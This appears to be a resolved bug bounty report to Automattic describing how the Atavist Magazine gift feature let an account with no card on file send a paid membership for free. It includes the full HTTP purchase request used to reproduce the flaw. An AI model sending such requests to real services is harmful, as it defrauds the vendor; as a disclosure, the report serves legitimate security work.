Loading HuntDB...

Can buy Atavist Magazine subscription for free

High
A
Automattic
Submitted None
Reported by bugra

Vulnerability Details

Technical details and impact analysis

Improper Access Control - Generic
## Summary: Hi team If you go to https://magazine.atavist.com/ and scroll down. You will see membership price is $25, but I found a way to buy this subscription for free via Gift feature. When you send gift request before adding any credit card to your account you will see this response : {F936531} However, if you check the gift recipient's email you will see the Gift email that contains the gift link. {F936533} ## Steps To Reproduce: 1. Just send this request (change `YOUR_EMAIL`, `YOUR_PASSWORD`, `RECIPIENT_EMAIL`, `gift_timestamp to current date, it was 2020-8-4 while reporting this`) : ```http POST /api/v2/store/purchase.php HTTP/1.1 Host: magazine.atavist.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 204 Origin: https://magazine.atavist.com DNT: 1 Connection: close Referer: https://magazine.atavist.com/ email=YOUR_EMAIL&password=YOUR_PASSWORD&product_id=com.theatavist.atavist.subscription.membership&gift_timestamp=2020-8-4&gift_recipient=RECIPIENT_EMAIL&gift_message=test&gift_gifter=test ``` You will see `{"error":"invalid_request_error","error_description":"The customer must have an active payment source attached."}` in response but if you check the recipient's email, you will see the gift link. ## Impact Able to buy magazine membership for free Thanks, Bugra

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Improper Access Control - Generic